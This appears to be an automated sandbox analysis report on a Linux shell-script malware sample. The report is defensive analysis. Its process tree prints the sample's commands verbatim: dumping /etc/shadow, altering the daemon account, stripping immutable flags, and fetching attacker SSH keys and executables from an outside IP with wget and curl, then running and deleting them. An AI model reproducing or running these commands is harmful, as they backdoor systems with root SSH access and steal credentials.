Analysis

  • max time kernel
    3s
  • max time network
    5s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/08/2026, 15:16

General

  • Target
    3a2f5c1e963ce7d645e8c4b532d9dc494fbafff3f71a7c129817fdbe337aa436.sh
  • Size 843B
  • Sample260802-snwdsack31
  • SHA256 3a2f5c1e963ce7d645e8c4b532d9dc494fbafff3f71a7c129817fdbe337aa436
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Adds new SSH keys 1 TTPs 1 IoCs

    Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

  • Modifies password files for system users/ groups 1 TTPs 1 IoCs

    Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Modifies sudoers policy 1 TTPs 1 IoCs

    Writes to /etc/sudoers or a drop-in config, potentially granting passwordless root access to a user or process.

  • OS Credential Dumping 1 TTPs 2 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Checks system information (zLinux) 1 TTPs 1 IoCs

    Check system information on IBM zSystems which indicate if the system is a virtual machine.

  • Removes the immutable protection flag from a file 1 TTPs 1 IoCs

    Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

  • Writes file to system bin folder 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 8 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 15 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/3a2f5c1e963ce7d645e8c4b532d9dc494fbafff3f71a7c129817fdbe337aa436.sh
    /tmp/3a2f5c1e963ce7d645e8c4b532d9dc494fbafff3f71a7c129817fdbe337aa436.sh
    1⤵
    • Executes dropped EXE
    • Modifies sudoers policy
    PID:642
    • /bin/uname
      uname -a
      2⤵
        PID:647
      • /usr/bin/id
        id
        2⤵
        • Reads runtime system information
        PID:650
      • /bin/cat
        cat /etc/shadow /etc/passwd
        2⤵
        • OS Credential Dumping
        PID:655
      • /usr/bin/lscpu
        lscpu
        2⤵
        • Checks system information (zLinux)
        • Checks CPU configuration
        • Reads CPU attributes
        • Enumerates kernel/hardware configuration
        • Reads runtime system information
        PID:661
      • /usr/bin/chsh
        chsh -s /bin/sh daemon
        2⤵
        • Modifies password files for system users/ groups
        • OS Credential Dumping
        • Reads runtime system information
        PID:666
        • /usr/sbin/nscd
          nscd -i passwd
          3⤵
            PID:670
          • /usr/sbin/nscd
            nscd -i group
            3⤵
              PID:671
            • /usr/sbin/nscd
              nscd -i passwd
              3⤵
                PID:673
            • /usr/bin/passwd
              passwd daemon --stdin
              2⤵
              • Reads runtime system information
              PID:676
            • /bin/mkdir
              mkdir /root/.ssh
              2⤵
              • Reads runtime system information
              PID:677
            • /usr/bin/chattr
              chattr -ia "/root/.ssh/*" /root/.ssh
              2⤵
              • Removes the immutable protection flag from a file
              PID:679
            • /usr/bin/wget
              wget http://103.56.149.224/cacti/ns1.jpg -O /root/.ssh/authorized_keys
              2⤵
              • Adds new SSH keys
              PID:680
            • /bin/chmod
              chmod 600 /root/.ssh/authorized_keys
              2⤵
                PID:682
              • /bin/chmod
                chmod 700 /root/ /root/.ssh
                2⤵
                  PID:683
                • /usr/bin/wget
                  wget http://103.56.149.224/cacti/ns3.jpg -O /tmp/x
                  2⤵
                  • Writes file to tmp directory
                  PID:684
                • /bin/chmod
                  chmod +x /tmp/x
                  2⤵
                  • File and Directory Permissions Modification
                  PID:688
                • /tmp/x
                  /tmp/x
                  2⤵
                    PID:689
                  • /bin/mv
                    mv /tmp/x /tmp/o
                    2⤵
                    • Reads runtime system information
                    PID:692
                  • /tmp/o
                    /tmp/o
                    2⤵
                      PID:694
                    • /bin/rm
                      rm -f /tmp/o
                      2⤵
                        PID:696
                      • /bin/mkdir
                        mkdir /sbin/.ssh
                        2⤵
                        • Reads runtime system information
                        PID:698
                      • /bin/cp
                        cp /root/.ssh/authorized_keys /sbin/.ssh
                        2⤵
                        • Writes file to system bin folder
                        • Reads runtime system information
                        PID:700
                      • /bin/chown
                        chown daemon.daemon /sbin/.ssh /sbin/.ssh/authorized_keys
                        2⤵
                          PID:702
                        • /bin/chmod
                          chmod 700 /sbin/.ssh
                          2⤵
                            PID:704
                          • /bin/chmod
                            chmod 600 /sbin/.ssh/authorized_keys
                            2⤵
                              PID:706
                            • /usr/bin/wget
                              wget http://103.56.149.224/cacti/oto -O /tmp/oto
                              2⤵
                              • Writes file to tmp directory
                              PID:707
                            • /bin/chmod
                              chmod 755 /tmp/oto
                              2⤵
                              • File and Directory Permissions Modification
                              PID:729
                            • /tmp/oto
                              /tmp/oto
                              2⤵
                                PID:731
                              • /usr/bin/curl
                                curl http://103.56.149.224/cacti/oto -o /tmp/oto
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:734
                              • /bin/chmod
                                chmod 755 /tmp/oto
                                2⤵
                                • File and Directory Permissions Modification
                                PID:748
                              • /tmp/oto
                                /tmp/oto
                                2⤵
                                  PID:749
                                • /bin/rm
                                  rm -f /tmp/oto
                                  2⤵
                                    PID:750

                                Network

                                      MITRE ATT&CK Enterprise v16

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                                      Downloads

                                      passwd+

                                      • Path /etc/passwd+
                                      • Size 1KB
                                      • SHA256 9cbfe09e241342a4e6dafecf17363fd690c114f6c9470e8d996824d12b136edc
                                      • MD5 SHA1 SHA512 TLSH

                                      oto

                                      • Path /tmp/oto
                                      • Size 196B
                                      • SHA256 80c3fe2ae1062abf56456f52518bd670f9ec3917b7f85e152b347ac6b6faf880
                                      • MD5 SHA1 SHA512 TLSH